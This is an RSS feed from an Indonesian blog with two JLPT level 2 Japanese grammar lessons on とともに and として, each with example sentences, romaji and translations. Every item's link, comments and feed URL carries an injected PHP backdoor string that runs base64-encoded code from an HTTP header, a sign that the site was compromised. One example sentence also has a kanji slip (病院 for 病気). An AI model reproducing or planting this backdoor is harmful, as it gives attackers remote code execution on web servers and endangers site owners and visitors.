<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Uqi`s Life Note &#187; JLPT 2</title>
	<atom:link href="http://ismailfaruqi.jepang.info/category/bahasa-jepang/jlpt-2/id/feed/id/" rel="self" type="application/rss+xml" />
	<link>http://ismailfaruqi.jepang.info</link>
	<description></description>
	<pubDate>Mon, 09 Mar 2009 01:47:54 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>id</language>
			<item>
		<title>～とともに</title>
		<link>http://ismailfaruqi.jepang.info/2008/10/11/totomoni/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/10/11/totomoni/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 01:28:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[JLPT 2]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.jepang.info/?p=141</guid>
		<description><![CDATA["Bersamaan dengan lulusnya saya, pengumuman kerja keluar". Bagaimana mengungkapkan dua buah hal yang terjadi secara bersamaan dalam bahasa Jepang? Gunakan "とともに(to-tomoni)"!]]></description>
			<content:encoded><![CDATA[<h3>Arti</h3>
<p>Bersama dengan&#8230;</p>
<h3>Penggunaan</h3>
<p><span style="color: #0000ff;">Kata benda</span> + <span style="color: #ff0000;">とともに</span></p>
<h3>Contoh</h3>
<p>お正月は<span style="color: #0000ff;">家族<span style="color: #ff0000;">とともに</span></span>過ごしたい。</p>
<p style="padding-left:30px;">O-shougatsu-wa-<span style="color: #0000ff;">kazoku</span>-<span style="color: #ff0000;">totomoni</span>-sugoshitai.</p>
<p style="padding-left:30px;">Saya ingin melewatkan tahun baru <span style="color: #ff0000;">bersama</span> keluarga.</p>
<p>大阪は<span style="color: #0000ff;">東京</span><span style="color: #ff0000;">とともに</span>日本経済の中心地である。</p>
<p style="padding-left:30px;">Oosaka-wa-<span style="color: #0000ff;">Toukyou</span>-<span style="color: #ff0000;">totomoni</span>-nihon-keizai-no-chuushinchi-dearu.</p>
<p style="padding-left:30px;">Osaka, <span style="color: #ff0000;">bersama</span> Tokyo, adalah sentral ekonomi Jepang.</p>
<h3>Arti</h3>
<p>Dalam waktu yang bersamaan&#8230;</p>
<h3>Penggunaan</h3>
<p>Kata kerja =&gt; <span style="color: #ff6600;">bentuk kamus</span> + <span style="color: #ff0000;">とともに</span></p>
<p>Kata sifat berakhiran い =&gt; <span style="color: #ff00ff;">い</span> + <span style="color: #ff0000;">とともに</span></p>
<p>Kata sifat berakhiran な =&gt; <span style="color: #008000;">である</span> + <span style="color: #ff0000;">とともに</span></p>
<p>Kata benda =&gt; <span style="color: #0000ff;">である</span> + <span style="color: #ff0000;">とともに</span></p>
<h3>Contoh</h3>
<p>小林氏は、学生を<span style="color: #ff6600;">指導する</span><span style="color: #ff0000;">とともに</span>、研究にも力を入れている。</p>
<p style="padding-left:30px;">Kobayashishi-wa-gakusei-wo-<span style="color: #ff6600;">shidou-suru</span>-<span style="color: #ff0000;">totomoni</span>-kenkyuu-mo-chikara-wo-ireteiru.</p>
<p style="padding-left:30px;">Tuan Kobayashi, <span style="color: #ff0000;">selain</span> <span style="color: #ff6600;">membimbing</span> mahasiswa <span style="color: #ff0000;">juga</span> membantu penelitian.</p>
<p>代表に選ばれなくて<span style="color: #ff00ff;">くやしい</span><span style="color: #ff0000;">とともに</span>、ほっとする気持ちもあった。</p>
<p style="padding-left:30px;">Daihyou-ni-erabarenakute-<span style="color: #ff00ff;">kuyashii</span>-<span style="color: #ff0000;">totomoni</span>-hottosuru-kimochi-mo-atta.</p>
<p style="padding-left:30px;">Karena tidak terpilih menjadi delegasi, <span style="color: #ff0000;">selain</span> <span style="color: #ff00ff;">kecewa</span> <span style="color: #ff0000;">juga</span> merasa lega</p>
<p>この製品の開発は、<span style="color: #339966;">困難である</span><span style="color: #ff0000;">とともに</span>、費用がかかる。</p>
<p style="padding-left:30px;">Kono-seihin-no-kaihatsu-wa-<span style="color: #339966;">konnan-dearu</span>-<span style="color: #ff0000;">totomoni</span>-hiyou-ga-kakaru.</p>
<p style="padding-left:30px;">Pengembangan produk ini, <span style="color: #ff0000;">selain</span> <span style="color: #339966;">sulit</span> <span style="color: #ff0000;">juga</span> memakan biaya.</p>
<p>義務教育は、<span style="color: #0000ff;">国民の義務である</span><span style="color: #ff0000;">とともに</span>、権利でもある。</p>
<p style="padding-left:30px;">Gimu-kyouiku-wa-<span style="color: #0000ff;">kokumin-no-gimu-dearu</span>-<span style="color: #ff0000;">totomoni</span>-kenri-demo-aru.</p>
<p style="padding-left:30px;">Pendidikan wajib, <span style="color: #ff0000;">selain</span> <span style="color: #0000ff;">kewajiban warga negara</span>, <span style="color: #ff0000;">juga</span> merupakan hak.</p>
<h3>Arti</h3>
<p>Bersamaan dengan sebuah perubahan, perubahan yang lain pun terjadi.</p>
<h3>Penggunaan</h3>
<p>Kata kerja =&gt; <span style="color: #ff6600;">bentuk kamus</span> + <span style="color: #ff0000;">とともに</span></p>
<p><span style="color: #0000ff;">Kata benda</span> + <span style="color: #ff0000;">とともに</span></p>
<h3>Contoh</h3>
<p><span style="color: #ff6600;">年をとる</span><span style="color: #ff0000;">とともに</span>、体力が衰える。</p>
<p style="padding-left:30px;"><span style="color: #ff6600;">Toshi-wo-toru</span>-<span style="color: #ff0000;">totomoni</span>-tairyoku-ga-otoroeru.</p>
<p style="padding-left:30px;"><span style="color: #ff0000;">Bersamaan dengan</span> <span style="color: #ff6600;">penuaan</span>, kekuatan tubuh pun melemah.</p>
<p>自動車が<span style="color: #ff6600;">普及する</span><span style="color: #ff0000;">とともに</span>、交通事故も増えてきた。</p>
<p style="padding-left:30px;">Jidousha-ga-<span style="color: #ff6600;">fukyuu-suru</span>-<span style="color: #ff0000;">totomoni</span>-koutsuu-jiko-mo-fuetekita.</p>
<p style="padding-left:30px;"><span style="color: #ff0000;">Bersamaan dengan</span> <span style="color: #ff6600;">menyebarnya</span><span style="color: #ff6600;"> </span>kendaraan, kecelakaan lalu lintas juga meningkat.</p>
<p><span style="color: #0000ff;">経済成長</span><span style="color: #ff0000;">とともに</span>、国民生活も豊かになった。</p>
<p style="padding-left:30px;"><span style="color: #0000ff;">Keizai-seichou</span>-<span style="color: #ff0000;">totomoni</span>-kokumin-seikatsu-mo-yutaka-ni-natta.</p>
<p style="padding-left:30px;"><span style="color: #ff0000;">Bersamaan dengan</span> <span style="color: #0000ff;">pertumbuhan ekonomi</span>, hidup pun menjadi makmur.</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/10/11/totomoni/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>～として（は）・～としても・～としての</title>
		<link>http://ismailfaruqi.jepang.info/2008/10/11/jlpt-level-2-toshite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2008/10/11/jlpt-level-2-toshite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sat, 11 Oct 2008 01:14:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[JLPT 2]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.jepang.info/?p=140</guid>
		<description><![CDATA[Dalam bahasa Jepang, "として(toshite)" artinya "sebagai". Bagaimana cara menggunakan ekspresi ini dalam sebuah kalimat?]]></description>
			<content:encoded><![CDATA[<h3>Arti</h3>
<p>Mengatakan dengan jelas suatu posisi, kualifikasi, kapabilitas, atau jenis.</p>
<h3>Penggunaan</h3>
<p><span style="color: #0000ff;">Kata benda</span> + <span style="color: #ff0000;">として</span></p>
<h3>Contoh</h3>
<p>彼は国費<span style="color: #0000ff;">留学生</span><span style="color: #ff0000;">として</span>日本へ来た。</p>
<p style="padding-left:30px;">Kare-wa-kokuhi-<span style="color: #0000ff;">ryuugakusei</span>-<span style="color: #ff0000;">toshite</span>-nihon-e-kita.</p>
<p style="padding-left:30px;">Dia datang ke Jepang <span style="color: #ff0000;">sebagai</span> pelajar asing penerima beasiswa.</p>
<p>この病院は<span style="color: #0000ff;">難病</span><span style="color: #ff0000;">として</span>認定された。</p>
<p style="padding-left:30px;">Kono-byouki-wa-<span style="color: #0000ff;">nambyou</span>-<span style="color: #ff0000;">toshite</span>-nintei-sareta.</p>
<p style="padding-left:30px;">Penyakit ini diakui <span style="color: #ff0000;">sebagai</span> penyakit yang tidak bisa disembuhkan.</p>
<p>あの人は学者として立派だが、<span style="color: #0000ff;">人間</span><span style="color: #ff0000;">として</span>は尊敬できない。</p>
<p style="padding-left:30px;">Ano-hito-wa-<span style="color: #0000ff;">gakusha</span>-<span style="color: #ff0000;">toshite</span>-rippa-danga-ningen-toshite-wa-sonkei-dekinai.</p>
<p style="padding-left:30px;">Meski orang itu memuaskan sebagai ilmuwan, <span style="color: #ff0000;">sebagai</span> manusia ia tidak bisa menghargai.</p>
<p>彼は医者であるが、<span style="color: #0000ff;">小説家</span><span style="color: #ff0000;">としても</span>有名である。</p>
<p style="padding-left:30px;">Kare-wa-isha-dearu-ga-<span style="color: #0000ff;">shousetsuka</span>-<span style="color: #ff0000;">toshitemo</span>-yuumei-dearu.</p>
<p style="padding-left:30px;">Meski dia seorang dokter, <span style="color: #ff0000;">sebagai</span> novelis juga terkenal.</p>
<p>日本はアジアの<span style="color: #0000ff;">一員</span><span style="color: #ff0000;">としての</span>役割を果たさなければならない。</p>
<p style="padding-left:30px;">Nihon-wa-ajia-no-<span style="color: #0000ff;">ichiin</span>-<span style="color: #ff0000;">toshiteno</span>-yakuwari-wo-hatasanakerebanarai.</p>
<p style="padding-left:30px;">Jepang harus memenuhi perannya <span style="color: #ff0000;">sebagai</span> anggota Asia.</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2008/10/11/jlpt-level-2-toshite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
	</channel>
</rss>
